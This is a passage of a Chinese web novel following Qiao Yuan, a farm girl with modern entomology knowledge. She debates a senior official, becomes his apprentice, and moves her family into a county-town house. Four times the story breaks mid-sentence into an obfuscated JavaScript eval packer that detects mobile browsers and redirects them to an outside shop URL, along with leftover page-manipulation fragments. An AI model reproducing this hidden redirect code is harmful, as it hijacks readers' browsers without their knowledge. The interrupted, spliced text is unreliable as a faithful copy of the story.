眼瞧着要敬到主位上的严大人了，他端起杯盏正要往那处靠，忽听得乔元同把她拉上主桌的严大人大声争辩了起来。 周进白了一张脸，也不敢上去劝，粗胖的手将杯盏捏的紧紧的，在一旁急的上蹿下跳，不住在心里默念，“可消停些罢，我的小姑奶奶。” 作为争吵中心的乔元，哪里听得到周进心里所想，她手里捏着一只新鲜的蟋蟀，瞪着一双杏眸对着严维运道：“大人，我同你说了，蝉入土复出，被称做完全变态发育，并非死而复生！” 严维运将筷子摆放在碗碟中间，一拍桌案，“季夏之月鸣蝉出土，分明同去年一般，如何不是死而复生！” 将蟋蟀丢给一旁的彭青，乔元捋起袖子，“你又如何能证实那鸣蝉同去年那只分毫不差！鸣蝉死后并不会入土，不过是找个隐蔽的地方结束这一生，明年从地里爬出的是新蝉！” 严维运将凳子翘到一边，从彭青手里抓回那只蟋蟀，“如蟋蟀一般的才是生死凋零，明年开春便会见到新生的小蟋蟀长成，可你何曾在夏日见过新生小蝉！” “那我且问你，蝴蝶如何得来！”乔元眼眸明亮，中间闪着几分促狭。 严维运因为争吵涨红的脸退潮几分，“……自是蝴蝶生来。” 乔元嘿嘿一笑，心下很是快慰，“大人，你错了！它们也是完全变态发育。” 眼看二人今日势必要分出个高下来，收到周遭同僚求救眼神的张霖，思考片刻还是鼓起勇气上来劝说，“严大人，乔姑娘，今日大家难得聚在一处，二位还是先用些好饭食罢。” 同严维运说的太过投入，乔元恍惚间以为自己回到了从前同导师吵数据的时候，张霖一来劝和，她这才回过神来，重新坐了回去。 严维运冷哼一声，让人重新上了一杯酒，脸上的不悦之色溢于言表。 见二人冷静了几分，候在一旁的彭青无奈笑笑，将那一盒子下午抓来的昆虫交托给侍立的仆役。 他主动上前将酒杯递到二人中间，“师傅，乔姑娘，不若举杯共饮，好庆贺此番除蚜幸事。” 张霖一听，主动接下话来，“对对对，那便让我们举杯共饮，贺景朝年年太平。” 御史带头，后头的人无有不从，冷酒下肚，场面上的气氛这才重新回升一些。 被这么一闹，本想敬酒的周进不敢上前了，只能先灰溜溜地回到座位上。 彭青放下酒盏，见无人再注意此处，悄声同乔元道：“乔姑娘，我师傅这人面冷心热，一遇上同农事有关的事儿便容易较真，他并非有意为难你。” 乔元嘴里塞着东西，冲他摇头，示意自己并无妨碍。 严维运一听这话，倒是气笑了，他道：“好小子，当着我的面就敢如此编排我。” 说罢，他转向乔元，“小丫头，你有胆识又有学识，且告诉我你这身本身是从哪处学的，你师傅又是谁？” 将东西用力咽下，乔元淡定道：“我师傅已经仙去了。” 怕他们不信，乔元将那套烂熟于心的说辞又搬出来说了一通。 倒是没想到是这样的结果，严维运颇为惋惜的喟叹一声，方才气恼的情绪也消散了些。 彭青则是贴心地将一碟小点心放在了乔元面前，“对不住乔姑娘，你且吃些糕饼，当是赔罪。” 乔元夹了一筷糕饼放入口中，欣然接受对方的好意。 席面一直持续到戌时，人群才渐渐散去。 郢州来的巡查们至少要在金台县待上三天，乔元便得陪着三天。怕她往来不便，周进特意在县衙后院拨出间屋子专给乔元落脚。 方才严维运同彭青已经先去周进安排的客舍下榻了，没了需要乔元的地方，她看了一眼还在同别的官员点头哈腰的周进，让仆役带了句话，自己趁着月色去往县衙。 今日陪严维运跑了好几个村子，方才在席面又吃的多了些，乔元眼下有些犯困，脑袋都有些迷迷糊糊的。 她正想张大嘴巴打个哈欠，忽听得有人叫喊，“乔姑娘，快蹲下。” 身体比脑子反应更快，乔元下意识往下一蹲，只觉劲风袭来，一个黑衣人从她头顶飞身掠过。 追着他的巡检司差役们还未来得及同她说话，便纵身往前冲去追人了。 乔元抱头从地上站起，被这样的变故扰的有些发懵，可原地已不见方才几人的影子，她眨巴眨巴眼睛，在原地顿了片刻，抬步接着往前走。 还未等她前行几步，江稷却不知从哪里走了出来。 “方才这是？”乔元见是他，开口问道。 江稷本在另一侧设伏，忽听有人高喊‘乔姑娘’，想起乔元也跟着周进一同赴宴，他下意识便从暗处现身。 见她安然无恙，江稷垂下眼睫不再看她，“不过追个毛贼，不是什么大事。” 听江稷这么说，乔元放下心来，“那大人你忙，我先回去了。” “已经入夜，你还要回石湾村？”江稷问道。 乔元冲他摆摆手，“知县大人给我拨了间屋子，这几日我都住县衙。” 江稷点头，面上没有表露出过多的情绪，“我送你回去。” 乔元偏头看向他，疑惑道：“那贼人呢？” 江稷眼尾一挑，漫不经心道：“若我手底下的人连这样的人都抓不到，我这巡检使明日便可请辞了。” 这人……还真是无时无刻不狂妄。 乔元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182645|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再接话，既有贼人，那的确是同江稷同行安全些。 没有拒绝他的好意，二人一路走往县衙方向走去。 二人走后，从另一侧稍远些的巷子里，出来几道人影。 为首的，是同严维运一齐跟来金台县的知州之子。 谢景白看了一眼江稷离去的背影，眼瞳里若有所思，“陈林，你瞧那人可是眼熟？” 陈林飞快扫了一眼，“公子的意思是？” “有些像江家大哥。” 陈林将头埋得更低了些，“江公子如今还在边关，如何会在这样一个县城里。那人瞧着年纪尚青，不过身形有些相似罢了。” 谢景白敲了一下自己的脑袋，低声道：“也是，江大哥怎会在此处，约莫是我看错了。” 他回身往客舍的方向走去，“我们回去罢。” 陪着乔元往县衙走的江稷，自然不知道此处发生了什么。 他同乔元并排走着，忽地开口问道：“今日可是遇上什么好事了？” 乔元行进的步子一顿，“何以见得？” 江稷看了她一眼，“你今日时不时走着走着便小跳起来。” 乔元抿唇一笑，面上难得有些被看穿了心思的羞赧，“郢州的巡查来了，你应知晓罢。” 看到江稷给了肯定的回答，乔元接着道：“你可知严维运严大人也跟着来了？” 在听到严维运这个名字的时候，江稷的指尖不可察觉的攥紧，直到关节处都开始泛白。 乔元没察觉到他的情绪变化，絮絮道：“今日同他相处下来，我觉着他这人有些古板，还很是倔强。不过，我们虽不认同彼此的一些观点，但第一次能跟人讨论诸多农事上的事情，我很高兴。” 说到这里的时候，乔元眼眸闪亮，于她而言，能在这个世界遇到对昆虫和农学都感兴趣的人，实在是太过稀奇。 二人这样边走边有一搭没一搭的聊着，直到江稷出声，乔元这才发现已经到了县衙门口。 她走上石阶，对江稷行了一礼，“今日多谢大人送我回来了。” 江稷颔首道：“举手之劳。” 见乔元脚步轻快地在属吏的引领下入了县衙，江稷调转脚步，回身往巡检司的方向走去。 待他回到巡检司，方才逃窜的贼人已经被压在堂内了，邹尧正站在他面前问话。 偏生他说了许多，黑衣人连字也不吐露半个。见江稷回来，邹尧迎上前来，皱眉凑到他耳边同他说了情况。 江稷闻言，抬步走到黑衣人面前，捏紧他的下巴，迫使他抬头看向自己。“你今日去醉仙居，是要给哪位大人传递消息？” 捕捉到黑衣人眼里一闪而过的慌乱，江稷嘴角的笑意扩大几分。“看来你们主子对你的训练还不够，这么轻易就被人彩透了心思。” 黑衣人偏过头去，依旧一言不发。 见他如此，江稷也没几分耐心同他周旋，捏着他下巴的指尖发力，只听‘咔嚓’一声，黑衣人下巴瞬间脱臼，哀嚎声响彻整个巡检司。 “你若不愿说，那便别说了。”慢条斯理地擦了擦手，江稷对着邹尧道：“带去地牢，关到宋录事旁边。” 58. 巡查（四） 三日后。 天色未曦。 郢州官员下榻的客舍里头，仆役们已经开始收拾行囊了。 今日是巡查们离开金台县的日子，周进昨夜熬了一晚上没睡，一大早便招呼乔元到客舍里头来了。 这几日乔元天天跟着严维运上山下乡，整个金台县都快被他们一行人跑遍了。 昨日跟着跑了好几个村子，乔元晚间回来的时候连饭都没用便睡下了。即便这样，今晨起来的时候还是疲乏地很。 周进眼瞧着乔元在一旁眼皮逐渐耷拉下来，他道：“乔姑娘，严大人他们还未下来，你不若先去旁边歇上一会儿。” 乔元同严维运的关系日益密切，周进对她的态度都不禁小心翼翼起来。 既然知县都这么说了，乔元从善如流，依言坐在一旁歇息了一会儿。 天光渐渐亮起来，楼梯开始上传来响动，是官员们陆续下来了。 严维运被彭青扶着，走在最后。 见到乔元，彭青先同她打了个招呼，“乔姑娘。” 乔元冲他笑笑，起身迎了上去，“大人，彭公子，东西都已经收拾好放在车马里头了，你们且看看是否还有什么遗漏的。” 彭青应道：“稍后我便去查看，这段时日辛苦姑娘了。” 虽说这几天都在一处，乔元还是守着应有规矩，“都是我应尽的本分，算不上辛苦。” 严维运捋了捋胡子，毫不留情地拆穿乔元，“你这丫头可算不上本分的人，不过是碍着我这老人家的身份罢了，我看你满脸都写着巴不得我们走才好。” 乔元嘿嘿一笑，真心实意道：“我可不敢请大人走，大人若是愿意在这里呆个十几二十年，我便跟在一旁侍候大人十几二十年。” 严维运手指勾起弹了乔元的额头一下，胡子跟着往上翘起，“小滑头。” 乔元揉着额头，跟在他们后头一块儿往外走。 外头的车辆和护卫已经被陈林安排齐整，各处都仅仅有条的。 彭青扶着严维运往车上走，乔元则负责拉开幕帘。 幕帘一被掀开，玉雕的脸再度出现在乔元面前。 来了这么几天，乔元还是第一次这么近距离地见到那传闻中的知州之子。 除了第一天见他在田地上旁若无人的歇息，后几日他便是神龙见首不见尾，无人能再见他一面。 少年似是不适应突然进入的光线，阖眼又睁开，带着上位者的睥睨，淡然扫了乔元一眼，丝毫没将她这样的小人物放在心上。 乔元顶着他的目光同他对视一眼，转而看向严维运。 这样年纪的少年大半都带着眼高于顶的毛病，没必要当真。 严维运被彭青扶着刚要踩上脚踏，向上的步子停顿一瞬，突然回头对乔元道：“丫头，你可愿跟着我去京城？” “什么？”乔元愣在原地，日光有些晃神，她一时有些没反应过来。 严维运见她没听清，反身从马车上下来，“本想等处理完手头上的事情再来寻你，但我方才细想，万一你搬去别处，或是嫁人了，那便太过可惜。” “所以，我当着众人的面问问你，元丫头，你可愿拜我为师，同我一同入京？” 许是经常风吹日晒的关系，严维运眼角的皱纹很深，他说这句话的时候，眼尾夹起一层又一层，黝黑的面庞就这样看着她，像是一座高山，带着时间的厚重。 “我……”乔元觉得自己的脑子有些卡壳，第一次不知该如何作答。 这可是严维运！景朝历史上绝无仅有的国士。 周围一圈人的目光均集中在二人身上，有些人不可置信地掏了掏自己的耳朵，生怕方才是听错了。 离得近些的周进，此刻的下巴已经完全阖不上了，他在心头徒然叫嚣着，“乔姑娘！快答应严大人！快答应他啊乔姑娘！” 严维运耐心等了等她，见她依旧不言，才道：“今日这话是唐突了些，不过也不打紧，你且好好思索，同家人谈一谈再回我也不迟。” 乔元宕机的大脑开始运转，她慌忙摆手，“大人，我并非这个意思。我自然愿意拜您为师，只是……” 她心头有几分自己的顾虑。 去京城虽好，但若乔家一家跟着上京，先别说周素的身子骨吃不吃得不消，只在京城的花销这一项，便够他们家喝一壶的。没钱在京城立足，事事定得烦劳严维运，迟早会将这点子情分消耗光了。 但若是今朝错过了这样白掉下来的机会，委实太过可惜。 严维运见她应下，紧绷的脸这才舒爽几分，“丫头，我知晓你的顾虑，我并非让你现在就同我进京，待我打点好一切，再派人来接你，可好？” 见严维运这么说，乔元悬着的心放下来几分，接着生怕他反悔似的一口应下，“好。” 一直紧盯乔元的周进见她终于答应，已然顾不得什么礼仪尊卑，扭动着肥胖的身体带头鼓起掌来，“恭贺严大人喜得爱徒，恭贺严大人。” 一旁慢了半拍的官员们这才从惊愕中缓过神来，跟着鼓掌。 “恭贺严大人喜得爱徒。” “恭贺乔姑娘。” 严维运面上喜气洋洋，他对乔元道：“你既应了下来，那便要改口了。” 在众人灼灼目光里，乔元开口朝严维运唤了一声，“师傅。” 严维运抚着长须乐开了花，拍拍她的头应下，“哎。” 彭青也在一旁笑道：“师妹。” 乔元回礼道：“师兄。” 这插曲实在太过意外，京城有多少人费尽心思想同严维运搭上关系，最终都铩羽而归。 可来这地方不过几日，他便一时兴起要收一个农女做徒弟，也不知道这姑娘是几世修来的福气，能得这样的泼天富贵。 在场官员心里头百感交集，面上却不敢显露出来，只能在一旁一个劲儿地叫好。 得了乔元的应承，严维运走路都有些带风，他被彭青重新扶上马车，然后从包里翻出一本书丢给乔元，“丫头，快则三个月，慢则半年，我定会派人来寻你。在这之前，你可要将这本研习透了，届时莫要丢我的老脸。” 接过书籍，乔元抬眸看向严维运，“放心罢师傅，必不会让你丢脸。” 乔元的本事他自然信得过，严维运最后看了她一眼，帘幕落下，隔绝了里外二人的视线。 见他上车，站在后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192447|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的官员陆陆续续也都上了各自的马车。 随着马夫的鞭子声响起，顶头最奢华的马车开始向前驶去，从郢州来的车队一路跟着离开金台县。 车内。 方才人多不便开口，如今里头只有他们二人，谢景白坐正身躯，忍不住问道：“先生，京城里头才俊无数，你为何偏生要收这样一个乡下的农女做徒弟？” 严维运嘴角的笑意还未下去，他定定道：“公子，你可别小瞧那丫头，待她长成，怕是会比我还要更能耐些。” 谢景白可不觉得这样的乡下丫头会有什么出息，左右不过能讨严维运开心罢了，他道：“先生既这么喜欢她，现在便带她回去便是了，何必又要拖延。” 严维运摇了摇头，道一声：“时候未到”，便不在说话了。 没人知道，以他这样的身份，当年入司农寺也被人磋磨了不少时日。这几年他常年在外奔波，疏于对司农寺的管理，里头早不知乱成了什么样子。 今日乔元既答应做他徒弟，他总要将她的前路扫得平坦些，这才不枉费她这一声‘师傅’。 谢景白被她娘硬逼着同严维运走这一趟，本就心头不快。他娘还常在他耳边念叨，说同严大家在一处，定能学到不少东西。 可他如今瞧着，这所谓的严大家，不过是个沽名钓誉的老头罢了。 他将头偏向另一侧，兀自看起风景来。 二人一路无言。 —— 站在原地看着车队越走越远，最终成为一个小黑点，乔元这才垂下眼睫，拿着书打算往回走。 没想到自己这金台县还能出乔元这样的人物，周进那张大嘴已经咧到脚后跟了，他落后乔元半步，奉承道：“乔姑娘，你且稍后，马车这便来送你回去了。” 乔元回身看向讨好得有些过了的周进，“知县大人这是？” 周进搓手靠近，“什么大人不大人的，姑娘如今已经是严大人的徒弟，身份尊贵，若是不嫌弃，直呼我名便好。” 乔元第一次见识到什么叫翻脸比翻书还快，周进这人，若是在戏班子定是头牌。 她滴水不漏地回道：“我纵然得了严大人青睐，也不过一届白身。大人是金台县的父母官，又有功名在身，我还是唤作‘大人’罢。” 周进站在原地‘哎呦’‘哎呦’感叹几下，说些她竟如此识大体的话，再度跟在乔元后头，不住地向她示好。 直到上了马车，乔元才得到片刻安宁。 没有管在外头叮嘱车夫仔细驾车的周进，她有些迫不及待地翻开严维运给的书，想看看上头写了什么。 景朝的字虽同现代的繁体字有些相似，但有些生字她也认不太清。依稀辨认出几个文字后，乔元将书阖上。 虽然严维运给她留了不少时间，但如果要带着乔家人一齐上京，时间便有些不够用了。 她得尽快将家人接到县城里头来，还要抽空识文习字。 更重要的是，她还要想个赚钱的法子。 京城里头波谲云诡，多些银钱才好傍身。 想到此处，乔元忽然抬头看了一眼还在外头的周进。 他或许，能帮自己一个大忙。 59. 买房 想要让周进帮她的忙，这个要求必须得于他仕途无碍，还能让他尝到几分甜头。 乔元在心头盘算几次，心里渐渐有了几分雏形。 但这事儿急不来，她不仅得有万全把握，还要想一个他无法拒绝的理由。 思绪流转之间，马车回到石湾村。 周素正在院里纳鞋底，听到声响，连竹筐都来不及放就走出来了。 到路口一看，果然是乔元。 “元姐儿，你可算是回来了。”周素上前接过乔元的包袱，亲亲热热地搂着女儿往里走。“可想吃些什么？阿娘给你做。” 见周素拿了包袱，乔元顺手把她拿着的竹筐端在手里，“阿娘做什么我都爱吃。” 母女俩相视一笑，一齐走入院子。 一进门，乔元就见到了墙角摞成堆的泥和茅草，“阿娘，这是？” 周素看了一眼乔元指的地方，“你屋子顶上有块地方漏了，你爹趁着这几日你不在，给你和泥补上了，你可要去瞧瞧还有哪里不妥的？” 明明同家人说好不日便要搬家，这屋子就算是修好，怕是也没人再住。 可乔家夫妻俩还是执意将这点东西修补好，便是他们不宣之于口，乔元也明白的。 他们只想在有限的条件下，对自己的孩子好些，更好些。 乔元吸了吸鼻子，摇头道：“爹的手艺定是没话说，我便不掺和了，且陪着阿娘去做点吃食。” 周素笑着点了点她，“成，那便同我一起罢。” 到了晚间，等乔满山父子俩回来，乔元同家人商量了一下，定好将后日空出来，去县城里看房子。 一辈子连做梦都没想过的事情，就这样轻巧地定了下来，乔长平憋了满肚子话无处可说，只得趴在桌上道：“我如今上比不上爹，下又比不过元姐儿，老天真是白生我一场。” 乔永言也学他这样趴着，下巴尖朝向他，“大哥哥，你别灰心，二姐姐说等我们住到镇上，便送我去学塾，待我学成回来，你便连我也比不上啦！” 乔长平抬手就给了乔永言一下，“你小子，我今日便叫你知道谁是你哥哥。” 二人一个跑一个追，余下三人全坐在一旁看热闹。 乔元咀嚼着上次留下的蜜饯，心里莫名涌起一股暖流。 茶淡方知其中滋味，这样细水长流的日子，当真是极好的。 —— 后日一早，鸡还没啼，乔永言便兴冲冲地将一家人喊醒。 “大家快醒醒，我们要去县城里头看房子了！” 乔元蒙头还想再睡，乔永言冰凉的小手直接将她被子掀开，“二姐姐，你快些起来，晚了便来不及了。” 被乔永言闹得没办法，乔元只得起来洗漱。 在他的催促下，一家人终于收拾好坐上牛车，在晨曦里朝县城驶去。 前几日住在县衙的时候，乔元便已经同李成约好看房的时间了，今日刚到广悦楼门口，便见他已经候在堂内。 “姑娘来了，可要先在此处歇息一会儿？”李成快步迎上来，今日来的早，广悦楼里头还没多少客人。 乔元回道：“无妨，只是今日要走三家房子，这一天怕是都要劳烦东家了。” 李成在金台县能立足这么多年，大半靠的便是他这张巧嘴，“姑娘说的这是哪里的话，能替姑娘买办房子，我便是日日吃斋，也得不到这么大的福气。” 乔元笑笑没说话，领着一家人坐上广悦楼专门用来看房的马车。 第一间屋子坐落在文德街，离学塾很近，一旁就是街市，不论是上街采买还是日常吃喝，都很是方便。唯一不足的便是屋子有些小，住乔家这么些人显得有些拥挤。而且房子临街，白日里很是闹腾。 来时乔元便同家里人说了，不论房子满意与否，都要挑些错处出来，若是满心满眼地欢喜，便不好压价了。 乔家人果然严格执行乔元的准则，尤其是乔长平，像是要在这处找回场子似的，对着屋子的地面同房梁便是一顿数落，听到后来，连乔元都觉着他有些鸡蛋里挑骨头了。 倒是李成，面上连半丝波澜也无，仍旧笑盈盈地同他解释，连带着乔元都忍不住多看了他几眼。 看完这一处，下一处便落在了稍微偏远些的角落里。 乔家人甫一进去，便觉屋子大了不少，虽说处在角落里，但去学塾也只要过两条街，交通算是便利。 不过怪的是，周边冷冷清清的，倒是没什么烟火气。 乔元向李成问询，他答道：“姑娘有所不知，这处本是林员外的屋子。不仅是这间，连带周一片都是他家房产。林员外前几年携家带口去了外地，这才将这些屋子卖了出来。只可惜，我们县里头哪里有人有这样多的银钱买这处的房子，故而便瞧着有些冷清。” “原来如此。”乔元应道。 既是买房子，周边也得有些人气才好，若是一间屋子孤零零亮着灯，反倒有些瘆得慌。 李成见乔元面上有些犹豫，补充道：“姑娘若是看得上，我便做主将这要价再降一成，也算不辜负巡检使大人。” “巡检使？什么巡检使？”其余人还没吭声，一旁乔永言倒学起话来。 乔元眼疾手快地捂住他的嘴巴，“没什么，我们再去下一处看看。” 看着女儿拉着小儿子快步走远，乔满山同周素默契对视一眼，孩子大了，心里头开始藏事儿了。 最后一处，是李成一开始推荐乔元的那间屋子。 屋子坐落在青石巷，周边都是人家。 那日在广悦楼，乔元还怕李成是拿一处卖不出去的烫手山芋来哄她，但今日实地来看，此处却当真不错。 屋子虽不如林员外那处宽敞，但胜在里头有个小院子，外头也不临街，地方清净不吵嚷。但若真想买些东西，往东走到底，有一处小集市，日常用品在这上头都能买到。 乔元又绕到屋子后头看了看，李成知道她想看什么，跟着她将那条小道指了出来。 “顺着这条道直走，在前头柳树下右拐，再接着走一段便能到学塾后头的街市，穿过街市，前头就是学塾了。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔永言在一旁吃得满嘴流油，“县城里真好，我真想日日都住在这里。” 乔长平的脸同样也已经埋在了饭里，但他还是抽空拍了一下乔永言的头，“傻弟弟，我们马上便能住在这里了。” 听乔长平这么说，乔家几人的脸上俱洋溢起喜悦的笑容。 若不是元姐儿，谁人能想到，有朝一日他们这些乡下来的贫农，也能住上这县城里头的好房子。 即便一家人不多言谢字，但这份心，还是记在了乔家每个人心里。 往后几天，乔家人一边忙着收拾屋子，一边找寻合适的佃户。 家里的事情不需要乔元操心，她便包了一小包肉脯带去里正家。 自从出了乔伯石那档子事情，后头又接着应付州里来的巡查，乔元已经有好些日子没见过里正了。 如今既是要去搬去城里，她也该好好将这事情了结了。 60. 搬家 里正家门口的杏树已经开始挂果，绿色的果实藏在树叶里，小小一颗，凑近便能闻到淡淡的酸甜气息。 乔元立在树下看了一会儿，直到叶片上的瓢虫振翅飞向天际，她才绕过杏树，叩响里正家门。 “哎。”门内传来少年的应答声，乔元叩门的手臂还没放下，乔良继的脸便出现在她面前。 一见是乔元，他双手抵住门扉，声音里带着浓浓地敌意，“你来此作甚？” 乔元倒是没想到会是他，一时间站在原地并未入内。 与此同时，里正的声音从屋内传来，“良继，是谁来了？” “没……没谁。”乔良继急忙应声，想将门重新关上。 乔元见状，抬手撑开大门，“里正，是我。” 里正从屋里出来，见二人这般场面，他拄杖在地上重重敲击几声，“良继，休要胡闹！” 乔良继这才愤恨地松开了抵住门扉的手，向乔元斥道：“你害了我爹还不够，如今又想来害我吗！” 他一上来便这番强词夺理，乔元都有些气笑了，她道：“你这是鱼胶熬多了熏昏头了？你爹落得这般下场，难道不是因为你？” “你！”乔良继双手握拳，显然是气愤至极。 乔元站在他面前，丝毫不介意将话说得更难听些，“受激入局的是你，放任傅鹏池在鱼胶里头掺水的也是你，你今日在我面前哭嚎什么？难不成这些事是我指使你同你爹去做的？” 乔良继鲜少同乔元接触，知道她也全是因为自蚜害后，他爹时常蹙眉在家中念叨她的名字。 没成想她一个姑娘家，说话竟这般不留情面。 乔良继的右手高高抬起，仿佛下一瞬就要打在乔元脸颊上。 乔元就这样冷冷看着他，脸上没有丝毫怵色。 “良继！”眼看二人直接的冲突愈来愈深，里正走到二人中间，强硬地将两人分开。 他沉下脸来，让乔良继先去后头劈柴。 乔良继阴戾地看了一眼乔元，这才不情不愿地往后院走去。 里正在原地望着乔良继远去的背影叹了口气，这才转身对乔元道：“元姐儿，莫要见怪，伯石……他前些日子从县衙里带了一身伤回来，还没养好便被带去服劳役了，良继也是关心则乱。” “里正同我说这些作甚？”乔元眼底的冷意还未退去。 里正听她这样冷淡的话语，张张嘴，一时间没说出话来。 “难不成，你们怀疑是我找人打的乔伯石？”乔元道。 里正连忙摆手，“我自然知晓你并非这样的人，但良继他……说到底，不过是小孩心性罢了。” 乔元抱紧双臂，“里正可曾想过，若是当日他们的计谋得逞，今日去服劳役的便是我。算起来乔良继比我还大上几岁，再怎么算也不是孩子了。” 里正垂头默然良久，才招呼乔元坐下，“你说的是。” 将那包肉脯放在小几上，乔元道：“我今日来，是同里正告别的。我们家打算过几日便搬到县城里头去，往后怕是难得见了。” 里正在倒茶的手顿住，苍老的脸颊上满是惊愕，“怎的这么突然！” 乔元接过茶壶，把他面前的杯盏倒满，“永言到了要上学的年纪，大哥也还未娶妻，搬到县城里，总归更方便些。” 里正缓缓点头，“……是该如此。” 见他抿了口茶，乔元又道：“这段时日，多谢里正倾力相助。蚜害既已解决，我也没什么好牵挂的了，以后里正若是有事，来青石巷寻我便是。” 茶气萦绕眉睫，里正的脸庞也被蒸软几分，他真心实意道：“元姐儿，若是没有你，别说我们石湾村，便是整个金台县都要没有活路了，此番合该是我们谢你才是。” “天灾之下，有钱出钱有力出力，里正莫要客气。”乔元说道。 乔元这话一下便将二人之间的距离拉开，里正一时间不知该说些什么。 场面安静了一会儿，他才蓦地开口，“伯石……他打小没了爹娘，我一路看他长成，看他娶妻生子。我一辈子孤寡，他在我身后跟了十几年。我知道他在图谋什么，也知道他们父子两此番很是对不住你。元姐儿，今日，便让我替他同你道这一声歉。” 乔元立身看向里正，拦住他弯下的头颅，“这是他们犯下的错，与里正无关。里正何必要将这过错揽到自己身上。” 里正却推开她，硬是要向她鞠完这个躬。 乔元没有再劝，因为她知晓，在里正心里，她与里正相处的这几十天，同乔伯石与他相处的十几年，终究是不能比的。 乔元不愿见里正为难，她看了看天色起身道：“家里还忙，我便先回去了。” 里正知这是她的借口，他也没有拦她，拄拐起身送别，“也好，你路上慢些走。” 送着乔元走到路口，见她走过拐角，里正这才回到院落里。 他拆开乔元放在小几上的油纸包，麻绳掉落，新鲜油亮的肉脯出现在眼前，散发着浓浓的肉香味。 里正轻阖双眸，复睁眼时，眼底一片水雾。 终究是他们对不起元姐儿。 —— 五日后。 清脆的马蹄声在青石巷响起，“嘚嘚、嘚嘚”最终在巷尾的一幢房子前停下。 乔家人陆陆续续从马车上下来，各个手里提着大包小包的东西，搬东西的碰撞声，高涨的叫喊声，嘈杂地声响引得巷尾的几户人家纷纷探头出来看。 房子里头已经被李成派来的人打扫过，乔家人一屋，将原本熟络的东西归置好，这处便能堪堪住人了。 如今也算是有间正经屋子了，周素双手叉腰站在院子里，面上是说不出的高兴。家里的事情素来都是周素说了算的，见家里的几个孩子正仰头站在她面前，等候她发令。 周素扫过这几张带着期盼的脸，乐道：“屋子的事儿，我同你们爹已经商量过了。西边那一间大些，便归我们住。东边那处日照好些的屋子，归元姐儿。剩下东侧边靠墙的，隔开作两间，叫长平跟着永言一起住。这样可好？” 乔永言自打记事起，便没有一间属于自己的屋子。如今虽说还同大哥在一屋，但毕竟隔出一层来，他欣喜若狂道：“阿娘，我同意，我同意。” 剩下几人自然没什么意见，分屋子的事儿便这样定了下来。 一家人从早忙到晚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她吃吃笑了几声，带着得意的神情离开乔家人的视线。 乔长平方才被爹拦着气消了些，被她这么一激，又气地在原地发了一通火。 被这事儿一闹，一家人来时的兴奋劲儿全没了。 知道自己做错了事，剩下这段路，乔永言乖乖地跟在周素身后，不跑也不蹦了。 周素在回家路上，又同他仔细说了些搬到县城要注意的东西，见他都认真点头应下，也便没有再过多苛责。 回到家，烧水洗漱完毕，乔家人也便各自回到了自己屋里。 进屋后的乔元，并未同其他人一样上床睡去，她推开窗户，抬头凝视着外头的月亮。 窗外四处传来鸣虫的叫声，有蟋蟀，有螽斯。互相交织在一起，是独属于初夏的乐章。 月色透入屋内，严维运送的那本书还在床头放着。 这几日一得空，她便在思索该如何将脑海中赚钱的法子完善地更好一些。 如今临窗月下，她想，她已经想到既不得罪周进，又能引他入局的说辞了。 61. 开始 翌日清晨。 乔元睁眼醒来时，陌生的横梁同陈设叫她恍惚一瞬。 想起已经搬家了，她拍拍脸让自己清醒一些，下床收拾好走出房门。 外头的朝雾还未散去，日光像是被笼上一层薄纱，院子里的一切都朦朦胧胧地看不真切。 乔元摸到厨房，周素正在里头弯腰收拾角角落落，有淡淡的米粥香气从锅里散逸出来。 “阿娘。”乔元走过去，想同她一块儿将碗碟收拾齐整。 周素一见她来，也不忙收拾了，去锅里盛了一碗粥出来，“元姐儿起了，快来用饭罢。” 家里现下有了正经的饭桌，也不必什么东西都端去堂屋吃了。 母女俩一齐在饭桌上落座，热粥滚烫，乔元吹凉喝了一口，熬煮软烂的米花入喉，带着一丝不易察觉的香甜。 周素笑着将从石湾村带来的凉菜夹入她碗里，叮嘱她多吃些。 “爹和大哥呢？”乔元在用饭的间隙问道。 “你爹说想去看看县城里有没有什么能做的营生，同你大哥一齐，一早便出去了。”周素回道。 知道自家父兄都是闲不住的性子，乔元也没再多问。 她三下五除二用完早饭，同周素道：“阿娘，我去县衙一趟。” 走出青石巷，乔元对县城里的路还不太熟，接连问了几个人才辗转到了县衙门口。 周进早就同县衙里头的属吏们吩咐过，见是她来了，立在正门的属吏很是客气地引乔元入了二堂。“姑娘稍后，大人处理完公事便来。” 乔元谢过他，坐在椅子上候了一会儿。 